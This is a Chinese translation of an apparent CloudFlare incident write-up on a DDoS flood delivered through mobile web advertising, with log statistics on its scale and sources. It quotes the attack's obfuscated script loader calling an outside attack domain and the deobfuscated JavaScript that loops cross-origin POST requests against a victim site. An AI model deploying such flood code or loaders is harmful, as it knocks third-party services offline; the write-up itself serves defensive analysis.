案例学习:将手机网络广告作为DDoS向量

      案例学习:将手机网络广告作为DDoS向量无评论

最近一次不寻常的DDoS攻击吸引了我们的眼球,我们注意到有大量的HTTP请求涌向我们的一位客户,攻击并不涉及TCP数据包注入。

案例学习:将手机网络广告作为DDoS向量

分析HTTP请求

以下是其中的一个请求:

POST /js/404.js HTTP/1.1    Host: www.victim.com    Connection: keep-alive    Content-Length: 426    Origin: http://attacksite.com    User-Agent: Mozilla/5.0 (Linux; U; Android 4.4.4; zh-cn; MI 4LTE Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/42.0.0.0 Mobile Safari/537.36 XiaoMi/MiuiBrowser/2.1.1    Content-Type: application/x-www-form-urlencoded    Accept: */*    Referer: http://attacksite.com/html/part/86.html    Accept-Encoding: gzip, deflate    Accept-Language: zh-CN,en-US;q=0.8  id=datadatadasssssssssssssssssssssssssssssssssssssssssssassssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssadatadata

我们收到上百万相同的请求,这清楚的表明了这是一起DDoS攻击。接下来我们仔细分析下这个请求。

首先,这个请求头看起来是合法的。我们日常工作中经常看到使用Python或者Ruby脚本发起DDoS攻击,其中的Accept-Language和User-Agent就很奇怪,一眼就能看出有问题。但是这个请求看起来又不是这样,从这个请求头信息中看来就是真实浏览器发出的请求。

接下来,注意POST请求以及Origin,有一个Ajax (XHR)交叉起源调用产生的

最后,Referer指向发起请求的服务器页面,该URL正确且能正常访问

基于浏览器的洪水攻击

案例学习:将手机网络广告作为DDoS向量

基于浏览器的L7洪水攻击早前一直是作为一种理论威胁提醒着我们,你可以查看Nick Sullivan的介绍进行进一步了解。

最早是Lavakumar Kuppan2010年提出通过滥用HTML5浏览器特性(PDF)进行DDoS攻击,接着在2013年Jeremiah Grossman 以及Matt Johansen(PDF)提出在恶意JavaScript中将网络广告作为一种分布向量,今年又有一篇论文对此类攻击的成本(PDF)进行了一系列讨论。

最后,今年4月份又有报道称Great Cannon(PDF)采用新方法分发JavaScript——通过将raw TCP段注入经过的连接。就在本周存在漏洞的Imgur图片托管站点就被利用来攻击另一个站点。

综合得出结论,创建JavaScript并非是整个攻击流程中困难的部分,最难的应该是如何有效分发它。在发起大规模洪水攻击中有效的分布向量就显得至关重要,此前我都还没见过大规模的基于浏览器的DDoS攻击。

最令人感到兴奋的是,本次攻击的规模很大,达到了每秒275000个HTTP请求。

攻击页面

根据Referer头信息,我们研究了洪水源。

来自Referer信息中的web页面看起来就像一个链接农场,或者就像是一个广告聚合阅读器。为了方便讨论,我们下面称之为“攻击站点”,该页面是用HTML写的,其中加入了三两个JavaScript。加载了3个JavaScript文件,其中一个名为count.js,其包含了少量我们不易察觉的document.write语句,且有混淆代码:

eval(function(p,a,c,k,e,r){e=String;if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'[0-8]'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('//b'+e(c)+'//b','g'),k[c]);return p}('2.3("<0 4=//"5://6.anotherattacksite.7/8/1/jquery2.1//"></0>");2.3("<0 4=//"5://6.anotherattacksite.7/8/1/jquery1.1//"></0>");',[],9,'script|js|document|writeln|src|http|www|com|css'.split('|'),0,{}))

将其丢入Js Beautifier,获得结果:

document.writeln("<script src=/"http://www.anotherattacksite.com/css/js/jquery2.js/"></script>");    document.writeln("<script src=/"http://www.anotherattacksite.com/css/js/jquery1.js/"></script>");

原来jquery2.js也包含一个恶意JavaScript,这并不复杂,请看下面的一个片段:

var t_postdata='id=datadatadasssssssssssssssssssssssssssssssssssssssssssassssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssadatadata';  var t_url8='http://www.victim.com/js/404.js';  function post_send() {        var xmlHttp=c_xmlHttp();      xmlHttp.open("POST",t_url8,true);      xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");      xmlHttp.send(t_postdata);      r_send();  }  function r_send() {        setTimeout("post_send()", 50);  }  if(!+[1,]) { //IE下不执行。        var fghj=1;  } else {      setTimeout("post_send()", 3000);  }

上面的恶意JavaScript,在循环中启用了XHR。

可以看出恶意代码作者使用了一个十分聪明的方法检测IE,之前我们还没有搞懂“if(!+[1,])”是可以用来检测Internet Explorer 9及向上版本的。

日志分析

案例学习:将手机网络广告作为DDoS向量

如图所示,在那天我们收到了来自65万独立IP发起的45亿次请求!

因为这次攻击十分有趣,我们专门写了一个脚本来进一步分析这个17M日志行(大约是总请求的0.4%)

没错这次DDoS来自天朝:

99.8% China     0.2% other

我们的系统可以从user agent中提取设备类型,80%的请求来自移动设备:

72% mobile    23% desktop    5% tablet

引用的URLs没有一个固定格式,攻击者拥有大量的域名:

27.0% http://www.attacksite1.com    10.1% http://www.attacksite2.com     8.2% http://www.attacksite3.com   3.7% http://www.attacksite4.com   1.6% http://www.attacksite5.com   1.2% http://www.attacksite6.com   ...

user agents是出了名的难以分析,但是我们还是发现了一些乐子:

Thunder.Mozilla/5.0 (Linux; U; Android 4.1.1; zh-cn; MI 2S Build/JRO03L) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30    Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12H143 iThunder    Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0    Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 F1Browser Yunhai Browser    Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.69 Safari/537.36 QQBrowser/9.0.3100.400    Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36 2345Explorer/6.1.0.8631    Mozilla/5.0 (Linux; U; Android 4.4.4; zh-CN; MI 3 Build/KTU84P) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/10.6.2.626 U3/0.8.0 Mobile Safari/534.3

类似"iThunder"字符串的请求可能是来自某个App,另外像"MetaSr", "F1Browser", "QQBrowser", "2345Explorer" 以及"UCBrowser"指向浏览器或者在中国十分受欢迎的浏览器App

矢量分布

这只是确凿证据中的一部分,同时也是我们猜测的开始。目前对于为何会有这么多的移动设备访问到攻击页面,最合理的解释大概就是广告联盟了。看起来似乎就是用户访问的广告服务中包含了恶意JavaScript,这个广告服务存在于移动App的iframes中,或者用户使用浏览器浏览的某些大流量网站中。

从本次攻击的数据包中我们可以确定一件事情,那就是攻击并不涉及TCP数据包注入。

回顾下,我们认为这中间发生了:

1.用户只是随意的浏览网页信息,或者只是在智能手机上打开App应用。  2.用户触发了广告中的iframe  3.广告内容请求来自于一个广告联盟  4.广告联盟转发请求到第三方获取广告盈利  5.要么第三方网站是“攻击页面”或者是第三方网站将用户转发到一个“攻击页面”

这种攻击未来会成为一种新的趋势,其在互联网上呈现出了极大威胁,对于小型网站运营者防御此类攻击绝对是力不从心。

* 参考来源:CloudFlare,FB小编鸢尾编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

发表评论